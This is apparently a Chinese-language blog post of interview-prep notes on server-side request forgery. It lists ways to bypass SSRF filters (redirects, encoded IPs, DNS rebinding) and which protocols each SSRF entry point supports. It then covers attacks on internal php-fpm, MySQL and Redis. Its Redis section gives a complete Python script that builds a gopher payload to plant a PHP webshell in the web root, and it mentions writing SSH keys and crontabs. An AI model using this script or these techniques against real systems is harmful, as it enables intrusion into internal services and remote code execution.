之前面试的时候被问了一些SSRF的细节问题,感觉答得挺差的 总结一下
ssrf本身东西很杂 因为大多数情况都是跟别的服务息息相关 所以综合性很强 面试官也很喜欢问。
00x0 SSRF的绕过姿势
分情况说吧
白名单的时候:找白名单域名的任意url重定向或者找解析差异(类似parse_url和curl的解析差异 make ssrf great again.jpg)或者拿个子域名的shell(雾
黑名单的时候:
1.302跳转 经典姿势
2.8进制ip 16进制ip ipv6 intip 进制混合ip
3.短地址 比如dwz.cn
4.xip.io
5.DNS绑定 买个域名解析到目标ip 钞能力
先把域名解析到ip,判断ip是否在白名单,再访问域名的时候:DNS重绑定
0x01 SSRF支持协议总结
在不同情况下导致的ssrf 支持的协议会有区别
只讨论ssrf常用的协议 gopher dict http https ftp file
javassrf:jdk8之后就不支持gopher了
php-file_get_contents:只支持php内置的协议 不支持gopher dict
php-libcurl:支持的协议最全,gopher dict都可以用
php-xxe:支持的协议跟file_get_contents一样
0x02 ssrf 打内网服务
fpm未授权
上p神 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
在ssrf的情况下 可以用gopher打fpm
https://www.jianshu.com/p/fd27f0eedccf
这篇文章用nc接收exp流量再转换成gopher的payload 堪称小天才
内网无密码mysql
由于mysql验证身份需要交互 而gopher不支持交互 所以只能打无密码mysql 这个用gopherus生成payload一把梭就可以了(吐槽一句 最近看了gopherus redis模块的源码 乱的有点夸张
内网redis 弱口令或者未授权
dict协议和gopher都可以打 dict一次只能发一行命令要麻烦一些
gopher的话 可以用这个脚本生成payload
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
因为本质就是执行redis 命令 所以带密码也可以 在前面加上AUTH就行了
攻击方式也是redis常用的手法
写公钥 写webshell 写crontab啥的 有权限就能为所欲为
还有主从复制rce也可以 前几天网鼎杯考到了 不过流程要麻烦些
0 条评论